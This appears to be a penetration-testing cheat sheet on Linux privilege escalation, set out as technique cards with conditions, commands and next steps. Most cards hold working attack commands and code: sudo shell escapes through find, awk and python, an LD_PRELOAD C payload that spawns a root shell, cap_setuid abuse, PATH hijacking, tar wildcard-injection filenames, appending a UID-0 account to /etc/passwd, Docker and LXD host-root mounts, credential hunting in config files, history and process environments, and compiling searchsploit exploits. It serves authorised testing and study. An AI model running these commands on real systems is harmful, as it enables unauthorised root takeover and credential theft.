Linux escalation

Use when: A Linux foothold is available; run an early sweep for sudo rules, file capabilities, credentials and writable privileged paths

Needs: Verified target UID and architecture, a working shell/runtime, a reviewed transferred tool and a writable report location

Copy# This form does not require an executable bit
sh ./linpeas.sh | tee linpeas.txt

# Baseline
./linpeas.sh | tee linpeas.txt
./lse.sh | tee lse.txt
./lse.sh -l1 | tee lse-l1.txt
./unix-privesc-check standard > unix-privesc-check.txt

Copy# For every highlight
exact object | effective permission | privileged consumer | identity | trigger | expected effect | manual verification

Read / verify → Read linpeas.txt. Confirm a reported sudo rule with sudo -l, a privileged path with namei/stat/getfacl, or a scheduled consumer with pspy before using that finding

If it fails → Script blocked or output empty: check the shell, transfer integrity and output path, then use the native checks for the observed rule/file/job. Empty collector output does not rule out escalation

• A root-consumed file or directory appears writable → Prove effective file, directory, ACL and mount control
• Root-owned cron, systemd or recurring process activity uses a controllable object → Control a script, binary or configuration consumed by a privileged job/service
• sudo -l grants an operation under a more useful identity → Use an allowed sudo operation to cross a privilege boundary

Prerequisite checks & examples →Full technique →Record step +

Use when: A new Linux foothold or an identity/privilege change

Needs: A working command channel and accurate effective identity, group, mount and process context

Copy# Baseline
hostname; id; groups
uname -a; cat /etc/os-release; getconf LONG_BIT
pwd; umask; env
ip addr; ip route; ss -lntup; ss -lxnp
ps auxf
mount; findmnt; lsblk; df -hT
sudo -n -l 2>&1
sudo -l

# Baseline
getent passwd
awk -F: '$3 == 0 || $7 !~ /(nologin|false)$/ {print $1,$3,$4,$6,$7}' /etc/passwd

# Baseline
id; whoami; groups
hostname; pwd
ip addr; ip route

Read / verify → Record effective UID/groups, host/namespace and the exact candidate permission; re-check identity after every claimed escalation.

If it fails → Missing tools or permission-denied inventory is partial visibility. Use built-ins and inspect concrete application paths rather than claiming no escalation path exists.

• A root-consumed file or directory appears writable → Prove effective file, directory, ACL and mount control
• sudo -l grants an operation under a more useful identity → Use an allowed sudo operation to cross a privilege boundary
• Root-owned cron, systemd or recurring process activity uses a controllable object → Control a script, binary or configuration consumed by a privileged job/service
• Membership or socket ACLs permit controlling a rootful daemon or useful session → Use privileged group, daemon or container-management control
• Permission/credential paths are insufficient and an exact affected build/configuration is present → Select an evidence-matched Linux software or kernel exploit

Prerequisite checks & examples →Full technique →Record step +

Use when: A root-consumed file or directory appears writable

Needs: Effective access through every parent/ACL and mount; a privileged consumer and trigger are identified separately

Copy# Baseline
namei -l /PATH/TO/OBJECT
stat /PATH/TO/OBJECT /PATH/TO/PARENT
getfacl -p /PATH/TO/OBJECT /PATH/TO/PARENT 2>/dev/null
findmnt -T /PATH/TO/OBJECT -o TARGET,SOURCE,FSTYPE,OPTIONS

# Baseline
find / -xdev -type f -writable -ls 2>/dev/null
find / -xdev -type d -writable -ls 2>/dev/null

Read / verify → Prove the specific read/write/replace action and consumer path; world-writable alone is not the complete escalation chain.

If it fails → A read-only/noexec/nosuid mount changes which effects are possible. Find another consumer rather than assuming every permission bypasses mount policy.

• Root-owned cron, systemd or recurring process activity uses a controllable object → Control a script, binary or configuration consumed by a privileged job/service
• A privileged executable has an unsafe library dependency, RPATH/RUNPATH or plugin path → Control a privileged program's shared-library resolution
• Account metadata or a privilege-policy file appears writable → Change a writable account or privilege-policy file

Prerequisite checks & examples →Full technique →Record step +

Use when: Readable configuration, shell history, environment, process arguments or session sockets

Needs: Read access to the artifact; exact account/service context; session/agent access must include a usable live identity

Copy# Baseline
history 2>/dev/null
find /home /root -maxdepth 3 -type f \
  \( -name '.*history' -o -name '*.conf' -o -name '*.ini' -o -name '*.env' \
     -o -name 'id_*' -o -name '*.pem' -o -name '*.key' -o -name '*.bak' \) \
  -readable 2>/dev/null

grep -RniE 'pass(word)?|secret|token|api[_-]?key|connection(string)?' \
  /var/www /opt /srv /etc 2>/dev/null | head -n 200

# Inspect process arguments and readable process environment
ps auxww
ps eww -u root 2>/dev/null
tr '\0' ' ' < /proc/PID/cmdline 2>/dev/null; echo
tr '\0' '\n' < /proc/PID/environ 2>/dev/null

Copy# Check reusable local sessions/agents only when their sockets are accessible
w; who; last -n 20
env | grep -E 'SSH_AUTH_SOCK|TMUX|STY'
tmux ls 2>/dev/null
screen -ls 2>/dev/null
find /tmp /run -maxdepth 3 -type s -ls 2>/dev/null

Copy# Baseline
find /home /var/www /opt /srv -type f \
  \( -iname '*.conf' -o -iname '*.ini' -o -iname '*.env' -o -iname '*.bak' \
     -o -iname '*.old' -o -iname '*.key' -o -iname '*.pem' \) 2>/dev/null

rg -ni 'password|passwd|token|secret|api[_-]?key|connection(string)?' \
  /var/www /opt /srv 2>/dev/null

Read / verify → Record source, exact material type and validated identity/service; keep real secrets in private lab records.

If it fails → Stale examples and unrelated tokens are common. A denied process read is a visibility limit, not evidence that no credentials exist elsewhere.

• A secret-like value, key file, stored hash, challenge response or ticket → Classify the artifact and its identity context
• A password tied to a plausible user and service → Validate known passwords and context-specific reuse
• A MySQL-compatible service and valid application/database credentials → Use MySQL/MariaDB data and file primitives

Prerequisite checks & examples →Full technique →Record step +

Use when: sudo -l grants an operation under a more useful identity

Needs: Exact executable/run-as/argument rule permits a useful primitive; password tags, environment and policy do not invalidate it

Copy# Baseline
sudo -n -l 2>&1
sudo -l
sudo --version

Copy# Baseline
sudo /usr/bin/find . -exec /bin/sh \; -quit
sudo /usr/bin/awk 'BEGIN {system("/bin/sh")}'
sudo /usr/bin/python3 -c 'import os; os.setuid(0); os.execl("/bin/sh","sh","-p")'

Copy# Preserved LD_PRELOAD variant
sudo -l | grep -E 'SETENV|env_keep.*LD_PRELOAD'

Copy// Preserved LD_PRELOAD variant
#include <stdlib.h>
#include <unistd.h>
void _init(void) {
  unsetenv("LD_PRELOAD");
  setgid(0); setuid(0);
  system("/bin/sh");
}

Copy# Preserved LD_PRELOAD variant
gcc -fPIC -shared -nostartfiles -o /tmp/preload.so preload.c
sudo LD_PRELOAD=/tmp/preload.so /ALLOWED/PROGRAM

Read / verify → Verify the executed run-as identity and effective UID; preserve the matching rule and successful operation.

If it fails → Restricted arguments, another run-as user, privilege dropping, NOEXEC or MAC policy can block the candidate. Evaluate another permitted primitive.

• A sudo rule explicitly preserves or permits a loader variable → Load a controlled library through a permitted sudo environment
• A new Linux foothold or an identity/privilege change → Establish Linux state and choose an escalation candidate
• Readable configuration, shell history, environment, process arguments or session sockets → Recover credentials from Linux user, service and process trails

Prerequisite checks & examples →Full technique →Record step +

Use when: A sudo rule explicitly preserves or permits a loader variable

Needs: Allowed variable setting/preservation, a dynamically linked permitted executable and a loader path that honors it

Copy# Preserved LD_PRELOAD variant
sudo -l | grep -E 'SETENV|env_keep.*LD_PRELOAD'

Copy// Preserved LD_PRELOAD variant
#include <stdlib.h>
#include <unistd.h>
void _init(void) {
  unsetenv("LD_PRELOAD");
  setgid(0); setuid(0);
  system("/bin/sh");
}

Copy# Preserved LD_PRELOAD variant
gcc -fPIC -shared -nostartfiles -o /tmp/preload.so preload.c
sudo LD_PRELOAD=/tmp/preload.so /ALLOWED/PROGRAM

Read / verify → Require the library's actual effect and effective identity; a successful compile alone proves nothing about the loader.

If it fails → Static linking, environment sanitization, secure-execution handling and policy denial break this route.

• A new Linux foothold or an identity/privilege change → Establish Linux state and choose an escalation candidate
• sudo -l grants an operation under a more useful identity → Use an allowed sudo operation to cross a privilege boundary
• A privileged executable has an unsafe library dependency, RPATH/RUNPATH or plugin path → Control a privileged program's shared-library resolution

Prerequisite checks & examples →Full technique →Record step +

Use when: A nonstandard or dangerous privileged executable

Needs: Effective SUID/SGID on the relevant mount; a program operation preserves and exposes useful privilege

Copy# Baseline
find / -xdev -type f -perm -4000 -ls 2>/dev/null
find / -xdev -type f -perm -2000 -ls 2>/dev/null
getcap -r / 2>/dev/null

# Inspect one candidate
namei -l /PATH/TO/BINARY
stat /PATH/TO/BINARY
file /PATH/TO/BINARY
readelf -d /PATH/TO/BINARY 2>/dev/null | grep -E 'RPATH|RUNPATH|NEEDED'
ldd /PATH/TO/BINARY 2>/dev/null
strings /PATH/TO/BINARY | head -n 150
dpkg -S /PATH/TO/BINARY 2>/dev/null
rpm -qf /PATH/TO/BINARY 2>/dev/null

# Capability interpretation and example
capsh --print 2>/dev/null
grep '^Cap' /proc/self/status

Copy# Only when the exact interpreter has effective cap_setuid
/PATH/TO/python3 -c 'import os; os.setuid(0); os.execl("/bin/sh","sh","-p")'

Read / verify → Verify effective IDs and the exact privileged operation; a real UID or prompt label alone is insufficient.

If it fails → nosuid, privilege dropping, fixed arguments or MAC policy can invalidate a candidate. Distinguish a file-read primitive from arbitrary execution.

• A privileged program/job invokes a helper without an absolute path → Hijack an unqualified helper through controlled PATH resolution
• An interpreter/helper has an effective high-value capability → Use a file capability that enables a specific privileged operation
• A privileged executable has an unsafe library dependency, RPATH/RUNPATH or plugin path → Control a privileged program's shared-library resolution

Prerequisite checks & examples →Full technique →Record step +

Use when: An interpreter/helper has an effective high-value capability

Needs: The exact capability is effective in the execution context; mount/namespace/bounding-set restrictions permit its use

Copy# Capability interpretation and example
capsh --print 2>/dev/null
grep '^Cap' /proc/self/status

Copy# Only when the exact interpreter has effective cap_setuid
/PATH/TO/python3 -c 'import os; os.setuid(0); os.execl("/bin/sh","sh","-p")'

Read / verify → Match the granted capability to the observed effect and effective IDs; do not infer unrelated root powers.

If it fails → nosuid, capability bounding sets, namespaces or a missing effective bit can change behavior. Choose another supported primitive.

• A new Linux foothold or an identity/privilege change → Establish Linux state and choose an escalation candidate
• Readable configuration, shell history, environment, process arguments or session sockets → Recover credentials from Linux user, service and process trails
• A nonstandard or dangerous privileged executable → Use a SUID or SGID program's exposed privileged primitive

Prerequisite checks & examples →Full technique →Record step +

Use when: Root-owned cron, systemd or recurring process activity uses a controllable object

Needs: Effective object control, actual privileged consumer identity, correct path/environment and an available schedule/restart trigger

Copy# Baseline
crontab -l 2>/dev/null
cat /etc/crontab
cat /etc/anacrontab 2>/dev/null
atq 2>/dev/null
ls -la /etc/cron.* /var/spool/cron 2>/dev/null
grep -RniE 'CRON|CMD' /var/log/syslog /var/log/cron* 2>/dev/null | tail -n 100

systemctl list-timers --all
systemctl list-unit-files --type=service
systemctl list-units --type=service --state=running
systemctl cat UNIT
systemctl show UNIT -p User -p Group -p ExecStart -p WorkingDirectory -p EnvironmentFiles

# Observe short-lived commands
./pspy64
./pspy64 -pf -i 1000

# Baseline
namei -l /PATH/TO/OBJECT
stat /PATH/TO/OBJECT /PATH/TO/PARENT
getfacl -p /PATH/TO/OBJECT /PATH/TO/PARENT 2>/dev/null

Read / verify → Verify the consumer's resulting effect and identity; editing a file without an observed trigger is incomplete.

If it fails → Wrong path, service sandbox, missing trigger or another effective identity breaks the chain. Use process observation and permission checks.

• A root-consumed file or directory appears writable → Prove effective file, directory, ACL and mount control
• A privileged program/job invokes a helper without an absolute path → Hijack an unqualified helper through controlled PATH resolution
• A privileged job passes an uncontrolled directory glob to an option-parsing utility → Turn wildcard-expanded filenames into privileged command options

Prerequisite checks & examples →Full technique →Record step +

Use when: A privileged program/job invokes a helper without an absolute path

Needs: A controlled directory precedes the real helper in the consumer's effective PATH; execution preserves useful privilege and a trigger exists

Copy# Baseline
echo "$PATH" | tr ':' '\n'
echo "$PATH" | tr ':' '\n' | while IFS= read -r d; do
  [ -z "$d" ] && d=.
  [ -w "$d" ] && ls -ld "$d"
done
strings /PATH/TO/PRIVILEGED_BINARY | grep -E '(^|[^/])(cp|tar|service|sh|bash|cat)( |$)'

# If the privileged consumer resolves helper through a controllable PATH
printf '#!/bin/sh\n/usr/bin/id > /tmp/path-proof\n' > /WRITABLE/DIR/helper
chmod 700 /WRITABLE/DIR/helper
PATH=/WRITABLE/DIR:$PATH /PATH/TO/TRIGGER
cat /tmp/path-proof

Read / verify → Prove actual helper selection and effective identity through a controlled effect.

If it fails → secure_path, absolute paths, a changed working directory or privilege dropping can invalidate the route.

• Root-owned cron, systemd or recurring process activity uses a controllable object → Control a script, binary or configuration consumed by a privileged job/service
• A nonstandard or dangerous privileged executable → Use a SUID or SGID program's exposed privileged primitive
• A new Linux foothold or an identity/privilege change → Establish Linux state and choose an escalation candidate

Prerequisite checks & examples →Full technique →Record step +

Use when: A privileged job passes an uncontrolled directory glob to an option-parsing utility

Needs: Control of expanded filenames; compatible option parsing and argument placement; useful program feature and privileged trigger

Copy# Baseline
grep -RniE 'tar .+\*|chown .+\*|chmod .+\*|rsync .+\*' \
  /etc/cron* /etc/systemd /opt /usr/local 2>/dev/null

Copy# * in an attacker-writable directory
printf '#!/bin/sh\n/usr/bin/id > /tmp/wildcard-proof\n' > proof.sh
chmod 700 proof.sh
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh proof.sh'

Read / verify → Verify the utility's actual triggered effect and its identity, not merely that special filenames exist.

If it fails → A different utility build, -- separator, changed directory or absent glob can disprove this path.

• Root-owned cron, systemd or recurring process activity uses a controllable object → Control a script, binary or configuration consumed by a privileged job/service
• A new Linux foothold or an identity/privilege change → Establish Linux state and choose an escalation candidate
• A root-consumed file or directory appears writable → Prove effective file, directory, ACL and mount control

Prerequisite checks & examples →Full technique →Record step +

Use when: A privileged executable has an unsafe library dependency, RPATH/RUNPATH or plugin path

Needs: Actual privileged load from a controlled location, matching ABI/name and required symbols, plus a trigger

Copy# Baseline
file /PATH/TO/BINARY
readelf -d /PATH/TO/BINARY 2>/dev/null | grep -E 'RPATH|RUNPATH|NEEDED'
ldd /PATH/TO/BINARY 2>/dev/null

# Baseline
grep -nE '^(import|from) |require\(|include|source |\. ' /PATH/TO/SCRIPT
/PATH/TO/python3 -c 'import sys; print("\n".join(sys.path))'

Read / verify → Prove the selected library path and effective execution identity; retain dependency and trigger evidence.

If it fails → Static linking, secure-loader sanitization, a different selected library or missing symbols breaks the route.

• A sudo rule explicitly preserves or permits a loader variable → Load a controlled library through a permitted sudo environment
• A new Linux foothold or an identity/privilege change → Establish Linux state and choose an escalation candidate
• An existing C/C++ or platform-specific PoC matches the candidate → Compile and minimally adapt an existing native or memory-corruption PoC

Prerequisite checks & examples →Full technique →Record step +

Use when: Account metadata or a privilege-policy file appears writable

Needs: Effective write/replace permission, known file syntax and a useful identity/policy consumer; preserve the original

Copy# Baseline
ls -l /etc/passwd /etc/shadow /etc/sudoers
namei -l /etc/passwd
getfacl -p /etc/passwd 2>/dev/null

# Writable /etc/passwd — authorized disposable lab only
cp /etc/passwd /tmp/passwd.backup
HASH=$(openssl passwd -6 'TEMP_PASSWORD')
printf 'root2:%s:0:0:root:/root:/bin/bash\n' "$HASH" >> /etc/passwd
su - root2
id

Read / verify → Verify the resulting identity/authorized action and retain the exact change plus recovery copy privately.

If it fails → Read-only mounts, PAM behavior or syntax mistakes can defeat the candidate. Prefer a narrower reversible consumer when available.

• A new Linux foothold or an identity/privilege change → Establish Linux state and choose an escalation candidate
• A password tied to a plausible user and service → Validate known passwords and context-specific reuse
• A root-consumed file or directory appears writable → Prove effective file, directory, ACL and mount control

Prerequisite checks & examples →Full technique →Record step +

Use when: Membership or socket ACLs permit controlling a rootful daemon or useful session

Needs: Effective daemon/API permission, correct rootful/rootless or privileged mode, available resources and a host-affecting operation

Copy# Baseline
id
ls -l /var/run/docker.sock /run/docker.sock 2>/dev/null
docker version 2>/dev/null
lxc list 2>/dev/null

# Rootful Docker daemon with an available image
docker images
docker run --rm -it -v /:/host IMAGE chroot /host /bin/sh

# LXD/LXC with an available image alias
lxc image list
lxc init IMAGE_ALIAS privesc -c security.privileged=true
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
lxc start privesc
lxc exec privesc /bin/sh

Read / verify → Distinguish host and container namespace, effective UID and the exact host operation.

If it fails → Rootless mode, user namespaces, policy or absent images can change the route. Do not equate a container prompt with host compromise.

• A new Linux foothold or an identity/privilege change → Establish Linux state and choose an escalation candidate
• Readable configuration, shell history, environment, process arguments or session sockets → Recover credentials from Linux user, service and process trails
• A writable/exported filesystem or a loopback-only service with useful privileges → Exploit a permission-backed mount, NFS mapping or local service

Prerequisite checks & examples →Full technique →Record step +

Use when: A writable/exported filesystem or a loopback-only service with useful privileges

Needs: Relevant export/mount options or service authentication; effective identity, writable path and any privileged execution consumer

Copy# Baseline
findmnt
cat /etc/fstab
mount
ss -lntup
ss -lxnp

Read / verify → Verify the actual file/service operation, mapped identity and any resulting execution effect.

If it fails → An exposed export or listener is only a candidate. Validate mapping, authentication and consumer before claiming escalation.

• RPC/NFS listeners or export information → Inspect RPC/NFS exports and effective file identity
• A MySQL-compatible service and valid application/database credentials → Use MySQL/MariaDB data and file primitives
• SSH reaches a server that can access the needed internal service → Forward a selected service through an SSH client-side listener

Prerequisite checks & examples →Full technique →Record step +

Use when: Permission/credential paths are insufficient and an exact affected build/configuration is present

Needs: Vulnerable package/kernel state, architecture, mitigations, namespaces and documented exploit-specific conditions

Copy# Baseline
uname -a
cat /proc/version
cat /etc/os-release
dpkg -l 2>/dev/null
rpm -qa 2>/dev/null
sudo --version
lsmod
sysctl kernel.unprivileged_userns_clone 2>/dev/null

# Baseline
searchsploit "PRODUCT VERSION local privilege escalation"
searchsploit -x EDB_ID
searchsploit -m EDB_ID
gcc -Wall -Wextra exploit.c -o exploit
file exploit
sha256sum exploit

Read / verify → Verify actual effective UID/host context after the exploit, keeping the reviewed source and adaptation record.

If it fails → Wrong build, missing feature or mitigation can invalidate the PoC. Choose another evidence-backed candidate rather than cycling random local exploits.

• A product/version clue, advisory or component-specific public PoC → Match a public exploit to the actual component and configuration
• An existing C/C++ or platform-specific PoC matches the candidate → Compile and minimally adapt an existing native or memory-corruption PoC
• A new Linux foothold or an identity/privilege change → Establish Linux state and choose an escalation candidate

Prerequisite checks & examples →Full technique →Record step +